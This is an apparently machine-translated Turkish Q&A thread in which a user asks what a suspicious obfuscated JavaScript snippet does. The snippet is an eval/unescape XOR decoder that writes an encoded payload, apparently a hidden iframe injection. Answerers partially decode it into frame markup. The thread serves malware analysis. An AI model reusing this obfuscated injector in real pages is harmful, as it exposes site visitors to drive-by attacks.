2011-06-29 10 views
5

Kötü niyetli olduğuna inandığım bazı java script kodlarıyla karşılaştım ama çoğu gizlenmiyor. Birinin bu kodun gerçekte ne yaptığını bulmama yardımcı olup olmadığını merak ediyordum.obfuscated javascript code

eval(unescape('function n48ec61ae(s) { 
    var r = ""; 
    var tmp = s.split("12113781"); 
    s = unescape(tmp[0]); 
    k = unescape(tmp[1] + "608421"); 
    for(var i = 0; i < s.length; i++) { 
     r += String.fromCharCode((parseInt(k.charAt(i%k.length))^s.charCodeAt(i))+-4); 
    } 
    return r; 
} 
')); 
eval(unescape('document.write(n48ec61ae('') + '[email protected],_WMD1yj{yoBFqa|g%ufxoA"go}swtip%-asvporpE$'EF3hachJAmulwisa~$^WYVF%<24-8(&,BQWOJ_G&0."J^ASHAP_NIRI 4. [email protected][email protected]~cqa PDVJH xw| [email protected]!oq~t:;5{s0ram`axsau2ows2ulaoizm6<[email protected]?7+5=0oI $ZWTHPNWOBFj~ash#QLWIE.nsyaos5kl~& _PGI"ggtzq8ftmto. SDQHDT[[email protected]^LI"6'#RLPKIZJIEONYF%= $SOPSXTOSLB/TS",LVMUKGTUAOVE.2&,[email protected];ntdvj~oxFHtsbrgpntKF3v{lvmukvEF3hpwpJ121137817396048' + unescape(''));')); 
// --> 

Aynen bir hatırlatıcı olarak BU KODU YAPMAYIN.

+1

Javascript ayrıştırma işlevlerinde bir hata olmadığı sürece, 'n48 ..()' çalışması güvenli görünüyor. Bununla birlikte, ikinci satırda, çalışmayı imkânsız kılan (elbette değerlendirme olmadan) hatalar vardır. Kötü bir siteye bir iframe eklemek istiyor gibi görünüyor, ancak sadece 'Goq ...' içindeki '' 'leri kaldırarak ve bir argüman olarak n48 ... '. – ninjagecko

+0

Sanırım kırık. – Ravan

+0

Peki ben hiçbir betik bu yana bana bu html yorum ve bu satırda boş bir sayfa bu yana emin değilim emin değilim Orada bir arkadaşım var kazayıp gitmemi ve kontrol etmemi istedi Ama ben hala güvenmiyorum. – user381261

cevap

3

Aptal tavşan ... hileler Bu konuda zamanın iyi bir anlaşma geçirdim

... zaten atmadan planladıklarını sanal makine görüntüler için ve ben bu yüzden olduğunu teyit düşünüyorum Artık hiçbir şey yapamayacağını kafamda tuttu.

Bu alırsınız:

<html>D`i]eI>vdsq\H>kW^v`fly*[email protected]&ckwo{lgm*dqrpcnl? [email protected]^fjFAaqhmewax!UPLLB0.0'4*?RPBH[?*,* FRAMEBORDER=0$<O<OCNYCKKV?A1%A>ku\tcPHRFJlozXW?<!cmzn6/-un3mdg\alo]o.com/nkdeeza280-{feasffr1hl2rgoDq.11bcC-7;'17,cI!YPYJLF[K><frame NAME="jo{]cs3fgy+"[PKE]cxzo5]s`nk&[email protected]+NFL?ITGJBBDU>)9OCPMUOHVF>'XO&HZESF<SXCKNI*.([email protected]/jp^r^viu=Gyq^rkljnGJ3pvgq`ognIB/jl{pD 

sorun başka fonksiyon bu deşifre etmek gerekli olmasıdır. <html>'un yanı sıra FRAMEBORDER= ve <frame'un nasıl olduğuna dikkat edin. Bu, bunları parçalara ayırıp yeniden birleştirebilecek bir şey olduğu anlamına gelir. Çok fazla gürültü olduğu gerçeği, bunun n48ec61ae kapsamı dışında daha fazla şifresini çözen bir fonksiyon olduğunu da gösterir.

+0

Teşekkürler noscript'i devre dışı bıraksaydım, ancak bunu yapmak için ona güvenmem varsayalım diye düşünürdüm. – user381261

+1

Oh, sorun yok. Zaten silmek istediğim sanal bir makineye sahip oldum, bu yüzden birkaç dakika sürdüm, denedi. – cwallenpoole

İlgili konular